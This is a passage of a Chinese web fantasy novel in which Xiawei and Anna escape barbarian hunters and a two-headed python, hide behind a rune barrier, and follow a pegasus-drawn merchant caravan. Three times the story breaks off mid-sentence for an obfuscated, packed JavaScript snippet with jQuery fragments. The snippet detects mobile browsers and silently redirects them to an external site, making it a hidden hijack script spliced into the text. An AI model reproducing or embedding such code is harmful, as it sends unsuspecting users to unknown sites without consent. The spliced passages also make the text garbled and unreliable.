“我知道你想说什么，夏维，先听我说。”安娜靠近夏维，双手捧起他的脸颊，两人距离接近，全无丝毫暧昧，只有诚恳和信任，“我愿意跟随你，不是名义上，而是与你定下契约，以农神信徒之名起誓，追随你，守护你，永不背叛。” 手指被夏维握住，少女的声音顿了顿，她低头抵住夏维的手背，近乎于虔诚：“你愿意接受我吗？” “你看到我做过什么，我不是光明的信徒，或许我很邪恶。”夏维凝视安娜，声音很低。 “你是光明，我便追随光明，你是黑暗，我便侍奉黑暗。”安娜反握住夏维的手，一字一句说道，“我向神明起誓，不会退缩，不会后悔，绝不背叛誓言。” 夏维心中发堵。 他习惯于面对恶意，这种直白的善意反而让他不知所措。 嘴巴开合两下，他突 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一支箭矢斜插进地面，力量之大，落地后箭尾还在颤动。 夏维一把抓住安娜的胳膊，迅速闪至树后，借树干遮挡住两人的身体。 没有给他观察时间，破风声接二连三响起，更多箭矢凌空飞来，密密麻麻袭向两人。 撞击声不绝于耳，树干后不再安全。 夏维无法立即锁定敌人，只能带着安娜连续闪躲，在树干之间飞速移动。 安娜咬破手指，仓促间凝成一枚血眼。 在要塞祭祀之后，她发现体内的力量突然增强，原本需要多人合力献祭，现在仅靠她自己就能完成。 “夏维，在那里！” 顺着安娜手指的方向，夏维发现了藏在树上的身影。 “藏在这里，不要动。” 他将安娜留在树后，手中凝出一把长剑，随即纵身飞跃，脚下借力跳跃向树梢，猛然挥出一道银光。 剑光横斩，茂密的树冠一分为二，树枝纷纷坠落，藏匿在树上的人无所遁形。 修长，健硕，棕色皮肤，五官深邃，全身上下烙印野性气息，一个年轻的蛮族战士。 强健的双腿被长裤牢牢包裹，他裸-露健壮的胸膛，两条皮带缠绕腰间，左侧挎着一把锋利的弯刀。 被夏维发现，他索性不再隐藏，拉满手中的长弓，锋利的箭矢指向下，视线牢牢锁定夏维，眼底闪烁惊艳的暗光，犹如猎食的猛兽。 “黑头发，黑眼睛，你不是狂风领人，你从哪里来？” 他并非单打独斗。 一阵口哨声后，隐藏在林中的蛮族战士陆续现身。 同样的健壮修长，背负箭壶，手持长弓，腰间挎着弯刀。 他们熟悉森林中的一切，犹如潜伏在暗影下的猎手，悄无声息靠近猎物，露出尖牙利爪，准备发起致命一击。 现下，他们正拉满弓弦，锋利的箭矢搭在弓上，箭尖指向夏维，牢牢困住他，随时能把他射成刺猬。 15.第十五章 身陷重围，被十几支利箭瞄准，绝非一场美妙的体验。 威胁摆在眼前，夏维没有轻举妄动，他的手臂自然下垂，右手倒提着长剑，剑尖朝下，剑刃流淌寒光。 “回答我，陌生人，你来自哪里？”蛮族战士再次开口。 光影倾斜，照亮他的面容，勾勒出俊朗的轮廓。 双眼紧盯着夏维，眸光湛亮，眼底仿佛燃烧着火焰。 “旅行者。”夏维言简意赅，明摆着敷衍，压根没心思和对方周旋。 他仔细观察四周，寻找潜在的突破口。 瞅准时机，手腕迅速转动，明亮的剑身反射白光，浮现血色符文。 一道光疾射而出，斜对面的蛮族被击中，下意识举起手臂遮挡。树枝碰巧断裂，身体不稳向下坠落，包围圈出现破绽。 机会！ 夏维正要直扑目标，一股腥风陡然袭来，随之而来的是庞大的暗影以及安娜的惊呼：“小心！” 出于本能，夏维迅速矮身闪躲，避开致命一击。 他没有回头，以跪地的姿势握紧长剑，竖起剑身，顺势向头顶击去。 剑刃锋利无比，削铁如泥，这一刻却出现迟滞。 夏维心头一凛，没有片刻犹豫，迅速翻转手腕施压，伴随着一声裂帛声，坚硬的鳞片被切开，紧接着血雨洒落，殷红兜头飞溅。 腥臭的气息弥漫，一度压过了血腥味。 夏维不想被血淋湿，快速就地翻滚，惊险地避开这场血雨。 闪出一段距离，他回头望去，视野中闯入一条庞然大物。 体长超过三十米，粗壮堪比磨盘。身体两端各生一只三角形头颅，嘴巴张开，满口锋利的獠牙，赛过鲨鱼的牙齿，样子分外可怖。 其中一颗头疯狂摆动，下颌处被切开，血沿着鳞片流淌，胸腹部已经涂抹上大片暗红。 “双头蟒！” 树上的人发出欢呼。 没错，正是欢呼。 他们闯进蛇潭瀑布，为的就是猎杀双头蟒。 目标出现，战士们顾不得围困夏维，更没时间去找安娜的麻烦，接连打出唿哨，一起替换箭矢，拉满弓弦。 破风声中，带有弯钩的箭头连续飞出，精准钉入蟒蛇的眼睛和下颌伤处。 “抓住它！” “杀了它！” 多名蛮族战士抓住树枝，自高处一跃而下。 他们的落点十分精准，直接跳到双头蟒背部，反手拔出弯刀，借助下落的冲击力，悍然斩断双头蟒的身体。 扑。 刀身划开蟒蛇的鳞片和皮肤，切开肉和骨头，带出鲜血和内脏。 更多人从高处落地，他们包围了这头庞然大物，以最为利落的手法下刀，当场将它肢解。 血腥味在林间飘散，浓烈到令人窒息。 窸窸窣窣的声音传来，鳞片摩擦树木的声响若隐若现。不等战士们欢庆胜利，接连又有数条双头蟒现身。 嘶—— 阴冷的声音直袭脑海，捕捉到同类死亡的气息，双头蟒勃然大怒，集体陷入狂躁，向蛮族发起疯狂袭击。 “安娜，走！” 混战之时，夏维在树后找到安娜，握住少女的手腕，带着她远离双头蟒，也远离这群陌生的猎手。 两人穿过茂密的树丛，将血腥的战场抛在身后。 冲出几百米，身侧惊现一道银光。 身体的反应快于思考，夏维当即提起长剑格挡。 一声脆响，飞来的箭矢被一分为二，箭头扎入地面，箭尾落在脚下，被夏维一脚踩过，断口处光滑无比。 如同时间回溯，瀑布前的一幕重复上演，更多银光闪烁，顷刻笼罩两人。 夏维和安娜背靠着背，发现他们已经被包围。 陆续有蛮族在森林中现身，有男有女，打扮大同小异，武器多为弓箭和弯刀，看上去杀气腾腾。 一个尤其壮硕的男人走出树后，目测身高超过两米。一身金棕色的皮肤，肌肉虬结紧实，随着走动鼓起，像一座移动的小山。 他有一双褐色的眼睛，瞳孔随光线变化，浑似闪烁的宝石。金发紧贴着头皮，凸显出硬朗的轮廓，狂野、炽热，像一头勇猛的雄狮。 “陌生人。” “闯入部落的领地。” “抓住他们！” 包围圈开始缩小，一些蛮族张开捕网，分明将两人视作猎物。 夏维心知情况不妙。 他尝试调动灵力，熟悉的阻塞感再次出现，红纹缠绕手腕，很显然，他用不了太多力量。 不过，足够了。 “抓紧我。” 不打算和对方纠缠，夏维单臂环住安娜，带着安娜御剑升空，在森林中横冲直撞，连续撞飞数人，强行撕开蛮族的包围。 鲁莽，无智，不思后果。 换作以往，夏维绝不会这样做。 如今情况所迫，他实在顾不得许多。 出得龙潭，又入虎穴。 刚刚逃离要塞，转眼又陷入困境。 灵力的阻塞，暗伤的困扰，烦躁、憋闷、屈辱，他宁可灵力衰竭而亡，或是与对方同归于尽，也绝不会再沦为俘虏任人宰割！ 银光持续爆闪，飞剑穿过森林，夏维的灵力大量消耗，体表出现裂纹，嘴角溢出鲜血。 身后传来呼喝声，是追来的蛮族。 “夏维，你放下我，自己走。” “不行！” 安娜的提议被拒绝，她心知夏维不会丢掉自己，只能心一横，咬开自己的手腕，以鲜血召唤血眼。 农神的血眼出现在蛮族的领地上，粘稠的血雾在林中升起，组成一张血网，成功截断道路，迟滞追击者的速度。 奈何血雾无法维持太长时间，蛮族在身后紧追不舍，两人很快被逼至绝境。 前方是一处断崖，断崖下传来滔滔水声，目测崖高超过百米。 身后是追来的蛮族，脚步声和人声近在咫尺。 前方无路，后有追兵，两人已经无路可逃。 “安娜。”夏维收起飞剑，视线扫过周围，手指悬崖边一棵巨木，“爬上去。” “什么？”安娜有意和蛮族拼命，正抄起地上的石头和树枝，闻言面露惊愕，“你说什么，爬树？” “暂时别问，踩着我的手爬上去，快！”夏维双手交叠，掌心朝上，催促安娜动作快，“上去，我自然有办法脱身。” 出于对夏维的信任，安娜丢掉碍事的石头，踩上夏维掌心，借力爬上树干，迅速藏进树冠中。 巨木生长在悬崖边，树干倾斜，树根牢牢深入土下，几条凸出悬崖，藤蔓一样攀爬在崖壁上。茂密的树冠舒张，半面凌空，高悬于翻滚的水流之上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132089|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安娜藏在树枝中间，探头向下望，就见夏维拾起地上的树枝，绕树干半周，在地面画出几个奇怪的图案，类似羊皮纸上的符文，细节处存在差异。 落下最后一笔，他展开羊皮纸，取出十多块宝石，分别压在符文之上，又折断树枝，将锋利的一端扎入土下。 安娜看不到能量流动，但能有所感知。 一瞬间，悬崖边有微风刮过，似有气体膨胀，继而向内收缩，形成一层透明的屏障，将巨木连同两人一起包裹其中。 “夏维……” “嘘。” 夏维背靠树干盘膝坐下，朝树冠仰头，手指抵在唇边，示意安娜噤声。 少女当即捂住自己的嘴巴，静悄悄的趴在树枝上，一动不敢动。 夏维双手交握，指腹相对，放缓呼吸，逐渐与环境融为一体。 在他周围，宝石中的能量流入符文，一个小型的法阵短暂发光，能量隔绝出一方天地。 巨木、夏维以及树上的安娜自成一体。 法阵启动不过片刻，杂沓的脚步声传来，蛮族战士冲出密林，出现在悬崖边。 他们四处搜寻，不放过任何线索。三番五次经过巨木，却对夏维和安娜视而不见，好似根本看不到两人。 他们在对方的视野中消失了。 “奇怪，为什么找不到？” “他们的确是往这个方向逃跑。” “藏在哪里？” “方向没找错？” “绝对没有。” “莫非跳下去了？” 想到某种可能，战士们纷纷眺望悬崖下，可惜水流湍急，看不到半个人影，也寻觅不到任何踪迹。 “找到没有？”高大的蛮族走出来，询问先一步赶到的同族。 后者摇摇头，表情一片茫然。 “不知道，也许是跳下去了。”他们只能这样猜测。 而在几人说话时，夏维同他们的距离不超过十米，安娜更在他们头顶，因紧张屏住呼吸。 “雷加，还要追吗？”一个蛮族战士开口，“我们耗费太多时间，尤伦那里不知道如何，我们应该尽快赶过去。” “我们来猎杀双头蟒，错过这次机会，就要再等好几个月。”另一人补充道。 “那两个人的确可疑，但不像是狂风领的人。就算找遍帕托拉平原，也没有黑发黑眼的种族。他们不像是探子。”第三人插话进来，反手将弯刀收回刀鞘，“何况，以那些贵族老爷的作风，这样稀罕的美人应该藏进卧室，而不是放出来刺探情报。” 这番话粗俗刺耳，充满轻蔑和戏谑。 安娜攥紧树枝，气得双眼通红，牙关紧咬。 夏维的神情始终平静，眼底却泛起一丝血红，浸染血腥的杀机。 蛮族们谈论片刻，最终达成一致。 他们放弃追捕夏维和安娜，决定沿原路返回，与搜寻双头蟒的族人会合。 “商队难得来一次，他们只要双头蟒的毒牙和骨头。要换到精良的武器和铠甲，这次猎杀必须成功。” “为取信那些贵族，换取入城的机会，我们已经损失不少人手，他们死在石崖领。” “不能前功尽弃，必须达成这笔交易！” 雷加放出狠话，众人神情凝重。 蛮族们不再停留，迅速收缩队伍，离开悬崖边，消失在密林之中。 16.第十六章 脚步声和说话声一同远去，悬崖边只余呼啸的冷风以及奔涌的水声。 茂密的树冠颤动两下，安娜小心拨开树枝，探头向树下张望。她正准备开口，就见夏维朝她摆手，无声做出口型：“别动，留在那里。” 虽不明就里，安娜仍停下动作，继续藏在树冠中。 没过多久，几个高大的身影出现，是雷加等人去而复返。 “我说得没错，他们的确不在这里。雷加，是你想多了。”一个背着弓箭的蛮族四下张望，一边说，一边踩断地上的树枝，“就算他们能飞，也飞不过这片断崖，鹰都会在这里坠落。” 雷加皱眉搜寻悬崖边，更拨开崖边的草丛，拽起垂落的藤蔓。 潜意识中，他总觉得自己忽略了什么。但现实摆在眼前，如果目标果真藏在附近，早就该被他们发现，不可能一无所获。 “你难道惦记上那个美人？”洛特单臂压住雷加的肩膀，朝他挤眉弄眼，半是戏谑半是警告，“要我说，漂亮归漂亮，来历不明的鸟素来危险，最好谨慎一点。” “我没有。”雷加矢口否认，用力拨开同伴的手。嘴上信誓旦旦，心中如何想，只有他自己知道，“行了，走了。” 蛮族们对视一眼，各自耸了耸肩。 “行，你说是就是。” 几人不再调笑，陆续转身返回林中。 这一回，他们没有再次试探，而是加快脚步与同族会和，奔赴猎杀双头蟒的地点。 确认他们当真离开，夏维才从地上站起身。 安娜迅速滑下树干，看到夏维苍白的脸色，不禁担忧道：“夏维，你没事吧？” “我没事。”夏维摆摆手，示意自己没有大碍。 他推开安娜的搀扶，依次从地上拾起宝石，没有收回羊皮纸，而是握入掌心，将残存的能量纳入体内。 衣袖遮挡下，爬满手臂的红纹收缩淡化，两只手腕恢复光滑。 能量缓慢流淌，滞涩感减轻，夏维短暂松了口气。 “安娜，我们要尽快出去。” 无论是补充物资，还是打探道路，都需要前往城镇。 他们需要动作快，更需要加倍小心，避免再次遇到蛮族。 “夏维，你听到他们说的话了？”安娜弯腰扎起裙摆，跺了跺脚，突然开口。 夏维抛起失去光彩的宝石，再用掌心接住，回头看向安娜：“死在石崖领的蛮族，你怀疑他们是雇佣兵？” “要塞中处决的雇佣兵就有蛮族。”安娜直起腰，解开头发重新绑紧，确保不影响行动，“也许不是同一个部落，但……” 不等安娜说完，夏维打断她：“你想杀了他们吗？” “啊？” “杀了他们，灭绝他们的血脉，让他们的灵魂彻底消失。”夏维一字一句说着，黑色的瞳孔染上殷红，“我可以帮你。” 安娜沉默片刻，目光对上夏维：“我想，但不是现在。” 她渴望复仇，渴望以血还血。 但是，她更清楚事情的轻重缓急。 就目前而言，走出这片森林，保证两人的安全才是最重要的。 “我想杀了他们，毁灭他们的一切，可我不想让你受伤。”安娜走向夏维，托起他的手肘，手指向下滑动，叠上他的掌心，用力握住，“有朝一日，我会拿起利刃复仇，亲手送他们下地狱。” “如果你需要，只要你开口。”夏维反握住安娜的手，“我的承诺一直有效，绝不食言。” 两人结束谈话，夏维看一眼天色，决定沿悬崖前行，设法找到一条路，尽快走出这片森林。 奈何天公不作美，一场突来的大雨迟滞了他们的行动。 傍晚时分，天色骤然转变，大片乌云堆积天空，雷声轰鸣，暴雨覆盖整座森林。 夜色尚未降临，林中已伸手不见五指。 雨水冰冷彻骨，道路湿滑，沿着悬崖前行尤其危险，稍不留神就可能失足坠落。 连续数次脚底打滑，夏维决定改变计划，先找一处避雨，等到雨势减小，或者天亮后再出发。 “顶多再遇上蛮族，总比摔下去要好。从这个高度掉下去，八成要粉身碎骨。”安娜完全赞成夏维的提议。嫌弃鞋子打滑，她干脆脱下来抓在手里，赤脚向前跋涉。 雨水滂沱，无法点燃火把，两人只能摸黑前进。 所幸夏维可以在黑暗中视物，安娜也没有夜盲症，只是看得不如白天清楚。 夏维单手握住安娜的手臂，牵着她向前，避免少女磕绊滑倒。 一路穿过雨幕，安娜按住胸口的羊皮纸，不忘嘀咕：“早知道带几支火把，那上面有海兽油，在水中也能燃烧。” 夏维抹去脸上的雨水，环顾周围的植被，中途改变方向：“往这边。” “这是兽道？” “不确定，总之好走一些。” “夏维，我觉得幸运之神在眷顾我们，我们一定能走出去！” “借你吉言。” 夏维掀起嘴角。 安娜的乐观感染了他，即便暗伤隐隐作痛，身体和精神一样疲惫，也不似之前一般难捱。 夜色渐深，雨势始终不见减小，反而越来越大。 豆大的雨珠打在树冠上，发出噼里啪啦的声响，夹杂着沉闷的雷声，回荡在森林上空。 两人找准方向，顺利远离悬崖边，前方的林木也变得稀疏。 很快，他们来到大片开阔地，中心座落着一处废弃的营地。 营地四周，砍伐的树木已经长出新枝，树下能看到挖掘的炉灶，周围还有破败的草棚。 “我们在这里过夜？”安娜绕着草棚走过一圈，伸出手轻轻一推，立柱就向内倒塌。 “或许不太行。” 少女讪笑一声，迅速收回手。 这里被遗弃太久，建造棚子的材料早就腐败，压根无法支撑屋顶。 “我们继续向前。”夏维检查过炉灶的位置，决定放弃这里，继续向前走，“不管被遗弃多久，都可能在蛮族的领地内。而且周围太开阔，不适宜躲藏。” “我听你的。”对于夏维的决定，安娜从无异议。 两人离开废弃的营地，在雨中继续跋涉。 途中，安娜拾到几片类似芭蕉叶的植物，折断后顶在头上，勉强能遮挡一下雨水。 雨夜环境恶劣，但也不是没有好处。 倾盆大雨之下，猛兽基本不会出来活动，也罕见能遇上毒虫，就连蛮族也会回到部落中，放弃在雨中巡逻。 两人只需注意脚下，忍耐雨水的冰冷，一路都能畅行无阻。 临近午夜，好运终于来临。 雷声告一段落，闪电也消失无踪，夏维找到一个树洞。 该处地势较高，洞穴内部没有被雨水淋湿，洞口狭窄，刚好能容纳他们躲藏。 “像是树熊的洞，铺着苔藓。”安娜扇了扇鼻子，“就是味道真难闻。” “还能凑合。” 夏维睡过谷仓，也睡过马厩，对环境没有太高要求。 安娜也没许多讲究，确认树洞干燥温暖，没有毒虫的侵扰，当即弯腰走进去，放松地坐了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136979|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 洞内空间有限，也不能生火，两人背靠着树干，支起腿坐着，没有更多余裕躺下。 安娜铺开羊皮纸，从中取出一个小包裹，里面装着几块黑面包，还有切开的熏肉。 “给，快吃。”安娜用面包夹起熏肉，直接递给夏维。自己也低头开吃。面包有些硬，熏肉过咸，但对饥肠辘辘的人来说，能填饱肚子比什么都重要。 夏维接过面包和熏肉，咬下一口，咀嚼后咽进肚子里，好奇询问：“我记得房间里没有食物？” 闻言，安娜三两口吃完面包，舔掉拇指上的碎屑，笑得狡黠：“我从厨房拿的，在去见你之前。” 利用些许便利，安娜时常进出城堡的厨房。 可惜她能拿走的不多。 如果一次拿得太多，势必会引来猜疑的目光。 “就只有这些。” 吃完面包和熏肉，安娜收拾起包裹，三两下折叠起来系在腰带上。 夏维靠向树干，聆听外边的雨声，计划天明后的路程。 “走出森林后，寻找附近的村庄和城镇，补充一下食物。也许能买到马，驴和骡子也成。”分析两人的处境，他认为该买两匹马代步，“去大一点的镇子，用宝石交易。” “这不成。”安娜摇摇头，否定了夏维的计划。 “不行？” “当然不行，宝石，老天，就算是大城市，也少见会有这样的买卖。会引来小偷和骗子的。”安娜坐直身体，回忆几次到镇子上的经历，表情认真无比，“相信我，夏维，这个路行不通。” “那……” “用这个！”安娜拍拍胸口，展开一张羊皮纸，倒出她搜集的烛台和金银器皿，快速挑拣之后，拿起一支烛台，递给夏维，“掰断它。” “掰断？” “对，留下基座，然后去镇子上换东西。还有这个，也能换不少东西。” 少女兴致勃勃，一边说一边演示。 夏维缺乏这个世界的常识，无法以原世界的标准衡量，唯有相信安娜，按照她说的去做。 拆开烛台并不难，三两下，精美的烛台就被分解。 安娜展开之前的包袱皮，把碎块包进去，余下的器皿再次收好：“这些足够了，我们不能换太多，那样太招惹人眼。” 说话间，雨势逐渐减小，天空依旧黑暗。 密林中传出古怪的声响，是聚集的丛林狼。 头狼发出嚎叫，狼群成员纷纷响应，它们在雨中展开狩猎，一场血腥的厮杀在暗夜中拉开序幕。 为了生存，猎手和猎物都在搏命。 树洞内，夏维侧耳细听，确认狼群距离还远，示意安娜不必害怕。 “睡一会吧，不必担心。”他说道。 “你先睡，我来守夜。”安娜困得眼皮打架，依旧坚持。 夏维对少女摇头，单手压住她的发顶：“听我的，安娜。” 黑发少年神情严肃，没有任何商量的余地。 安娜只能点点头，听话地抱紧双腿，让自己能维持体温，头枕在膝盖上抓紧休息。 雨声是最好的催眠曲。 狼嚎声渐渐消失，想必猎杀已经结束。 少女的呼吸变得平稳，夏维移至洞口，挽起袖子，借些许光亮查看自己的手腕。 即使伤口愈合，痛感依旧存在。 灵石数量太少，每次吸收都无法维持太久。他需要更多灵力补充，至少是一座矿脉。 夏维放下衣袖，摩挲着手腕内侧的红痕，眺望黑暗的雨幕，良久陷入沉思。 17.第十七章 天明时分，暴雨终于停了。 日头高升，阳光射入密林，透过枝杈间的缝隙洒落林地，播撒斑斓光影。光斑随风摇曳，拂过草叶垂挂的露珠，晶莹剔透，美不胜收。 夏维和安娜走出树洞，在晨光中舒展四肢。 两人各自检查过衣服，确认没有藏匿的虫子，刮掉鞋子上的泥巴，准备再次出发。 晨风送爽，腹中却空空如也。 黑面包和熏肉早就吃光，两人对视一眼，只能饿着肚子赶路。 好在森林中不缺乏馈赠，总能找到可以入口的东西。 “这附近应该有浆果。” 走出一段路，安娜拨开一片灌木丛，找到紫红色的果子。认出是能吃的种类，当即用裙子兜起一捧，欢快地奔向夏维。 “夏维，你看！” 果子颜色漂亮，每颗都有拇指肚大小，躺在少女掌心，像是紫红色的水晶。 果皮很薄，汁水丰富，入口却异常酸，完全能酸倒牙齿。 “太酸了，安娜。”吃过一颗，夏维当场皱紧眉头。他实在忍受不了酸味，拒绝再尝试。比起酸倒牙，他宁可饿着肚子，“我可以打猎，绝不要再吃它们。” 安娜面露稀奇。 夏维竟然会挑食！ “这不是挑剔与否的问题。”夏维反手抹过嘴唇，嘴巴里不只酸，还有一股涩味，他的舌头麻了。 他甚至怀疑这种浆果有毒。 “它们实在太难吃了。” 安娜咬破果皮，同样被酸得五官紧皱：“好吧，你说得对，它们的确不好吃。” 夏维抱臂挑眉，安娜垂下了眉毛，忍痛丢掉采摘的浆果，任由它们滚落到土里 下一刻，少女踩碎地上的果子，拍拍手和裙子，假装那里什么都没有。 “忘掉这件事。”她说道，“我只是一时失误，事实上，我认识更多果子，它们味道很好。一定是狂风领的土地不好，它们才又酸又涩。” “我同意。”夏维表情严肃，认真表示赞同，“一定是土壤的问题。” 两人对视一眼，同时发出笑声。 疲惫交加，陷入困境之中，难得放松紧绷的神经。他们都不想破坏气氛，索性怀抱着这种心情继续踏上前路。 “夏维，你会打猎？”安娜突然开口。 “是的。”夏维颔首。 “猎什么比较好，兔子还是鹿？”安娜捡起一根树枝，敲打着脚下的高草，驱逐藏匿的蛇虫。 “都行。” “实话实说，我烤肉的手艺不太好。”提到这件事，安娜不免叹息，“这里既没有炉灶，又没有锅，炖肉更没条件。” “大概只能生吃。”夏维的语气和表情都很认真，一点也不像是在开玩笑，“我们还可以喝血，能补充盐和体力。” 啪嗒。 树枝掉在地上。 安娜猛然停住脚步，震惊地看向夏维：“生吃？这怎么行，我们又不是兽人。不对，兽人也不吃生的！” 话音刚落，猛然撞见对方憋笑的表情，她才恍然大悟，自己被耍了！ 少女双手叉腰，愤怒地瞪着夏维。实在气不过，用头去撞少年的肩膀，像一头愤怒的小鹿：“夏维，你真的吓到我了！” “我的错。”夏维弯起嘴角，单手抵住少女的头，把她定在原地。 好在少女的脾气来得快去得也快。 两人一边商量着还没影的早餐，一边再次上路。 好运终于眷顾夏维，他们没有再遇见蛮族，也没遇上大型野兽，倒是又找到一片浆果。 和上次不同，这些果子很甜，而且汁水丰富。 “我就说，我认识它们！” “是，聪明的安娜。” 果子不能吃饱，但能缓解喉咙的干渴，也能哄骗一下空荡荡的胃。 两人不能停留太久，干脆折断灌木枝带走。 行动间，夏维一直警惕四周，安娜有意再放出血眼，被他当场制止。 握住少女纤细的手腕，夏维对她摇头：“这里是狂风领，与石崖领敌对，最好不要轻易释放血眼，那样会给你带来危险。” “我们在森林里，我只是想帮忙。” “我说过，我会保护你。”夏维又一次拍拍安娜的头顶，“听话。” 安娜张张嘴，耳朵泛红，到底听从了夏维的告诫。 接下来的路程，少去意外干扰，夏维每次都能选对正确方向，这让安娜十分好奇。 “夏维，你有德鲁伊的血脉吗？”她问道。 “德鲁伊，那是什么？”夏维表情茫然。卡萨拉给他的书籍主要记载王室贵族的丰功伟业，对其他种族多是一笔带过，提及的篇幅少之又少。 他认真回想，那几本书中的确没出现过“德鲁伊”的字眼。 “一种亲近大地的种族，在千年战争中远走，王国建立之后很少再出现。”安娜的知识源于长辈讲述的故事，大多也是道听途说，“据说他们能控制植物生长，还能和动物对话。” “我和他们没有关系。”夏维摇摇头。 事实上，他和这片大陆的任何种族都毫无关系。 “是这样啊。”安娜有些遗憾，发现前方的视野变得开阔，很快又变得高兴起来。 他们找到了森林的出口！ 密林外，一队骑士策马经过。 骑士们身着青灰色铠甲，披风绕过肩膀，下摆覆盖战马的背部，边缘包裹银边。 奉艾尔扬的命令，这支队伍在森林边缘巡逻，搜寻任何可疑的外来人员。 他们已经游弋许久，相同的路线走过数次，始终没有任何发现。 “大概被蛮族抓到了？” “也可能被杀了。” “那些蛮族很狡猾。” “他们主动联络要塞，派人加入雇佣兵，大人要我们对他们客气一点。” “真是……” 骑士们百无聊赖，随意甩着马鞭，话题更多围绕森林中的蛮族，语气中透出明显的轻蔑和厌恶。 至于艾尔扬让他们搜寻的目标，没有特定对象，也没有任何明确的线索，天晓得他们应该找谁，又该如何去找。 几人说话时，残存的雾气飘散，清脆的铃声传来，吸引他们的注意。 一支商队踏着铃声走来，百余辆大车排成长龙，高大的车轮压过地面，悬挂在车前的铃铛频繁摇晃，叮咚作响。 车辆规格统一，采用火红色的硬木打造。 车身光滑，车轮高过两米，车厢内满载货物，全部盖着蒙布，使人难窥一二。 车前由飞马牵引，马匹健硕高大，肩高接近三米，浑然是一头头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142077|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨兽。 飞马无论公母，均头顶一支螺纹尖角，背部长有双翼。 它们力量惊人，跨越山川河流如履平地，还能振翅飞行，拖拽上千斤的车辆横穿峡谷。 贵族想用它们充实战马，奈何种群优越，天性桀骜难驯，一直无法成功。 这支商队却用它们来拉车，一次出动数百匹，简直是暴殄天物，任谁看到都会眼红。 飞马牵引车辆走来，叮咚声不绝于耳。 它们是这支商队最显著的标志，象征商队的主人神通广大，粮食、武器、金银珠宝，凡是能想到的，只要付得起价钱，完全是应有尽有。 这支商队来历成谜，无人能探究出他们的发源地。 秉持利益为先，无论私下里如何打算，表面上，贵族们对商队的到来都持欢迎态度。 认出这支队伍，骑士们立刻策马上前，热络地与商队成员打招呼，同时放飞信鸟，给风息堡传递消息。 “欢迎，远道而来的客人。”一名骑士勒住缰绳，推高面罩，一改平日里的高傲，态度十分和善。 这支商队规模庞大，实力惊人。 艾尔扬的家族也与他们联系密切，身为要塞长官的下属，没人会蠢到得罪他们。 更何况…… 骑士打量车前的马夫，视线扫过车旁的护卫，他确信那些都是好手，剑士、弓箭手、还有盾手，也许还有巫师。 这样的配备，简直就是一支军队。 难怪能畅行王国境内，在贵族领地之间来去自如。 骑士上前问候，礼尚往来，商队也停止前进。 最豪华的一辆马车上，车厢门推开，一张漂亮的面孔探了出来。 火红色长发，翠绿色的眼睛，挺俏的鼻梁上散落几点雀斑，笑起来妩媚异常，能使人骨头酥软。 她就是这支商队的主人，有火玫瑰之称的爱莲娜。 若非亲眼所见，少有人会相信，拥有如此庞大财富和力量的会是这样一个火辣的美人。 “爱莲娜夫人。”骑士点头致意。 “幸会，骑士大人。”爱莲娜单手拨开长发，弯腰走出车厢。 她做一身剑士打扮，肩后披着长斗篷。贴身的皮甲、收紧的腰带和绑腿更彰显出傲人身材。 察觉到马夫和护卫不善的眸光，骑士迅速收敛心神，态度更为谨慎：“得知夫人到来，艾尔扬大人十分高兴，风息堡的大门永远为夫人敞开。” “真是我的荣幸。”爱莲娜笑容明媚，不知有意还是无意，说话间，视线扫过森林边缘，在一棵树上顿了顿，又若无其事移开。 简单寒暄几句，送信的雀鸟飞回。 骑士接到明确指示，结束搜寻任务，转而护送爱莲娜与商队前往风息堡要塞。 “感谢艾尔扬大人的体贴。”爱莲娜没有拒绝这份殷勤，答谢之后回到车厢，拉响车上的铃铛。 伴随着清脆的铃铛声，队伍再次出发，迎着太阳的方向前往风息堡要塞。 队伍离开不久，森林中走出两人。 夏维从树后现身，手指划过树干，眺望车队离开的方向，目光深沉。 他的直觉不会出错。 那个女人貌似发现他了。 而且，那支队伍中存在灵气，纯粹、庞大，与出自烈焰岛的灵石一般无二。 18.第十八章 “我们跟上去。”夏维对安娜说道。 安娜没有异议。 有车辙和马蹄引路，两人轻松找对方向，跟在庞大的车队后，谨慎保持一定距离，确保不会被发现，也不会中途跟丢。 正午过后，天空中乌云聚集，又一场暴雨从天而降。 雨瀑席卷大地，入目所及，尽是灰蒙蒙一片。 更糟糕的是，有狂风平地而起、 起初只是小股漩涡，眨眼间聚成龙卷，冲破雨幕扶摇直上，顶端直击天空，瞬间贯穿云层。 骑士和车队不受恶劣天气影响。 几名骑士在队伍前开路，微光浮现在指尖，战马发出嘶鸣，悍然冲破阻碍，在雨中开出一条通道。 商队的大车排成长龙，一辆辆首尾相接，活似一条赤红色的蜈蚣。 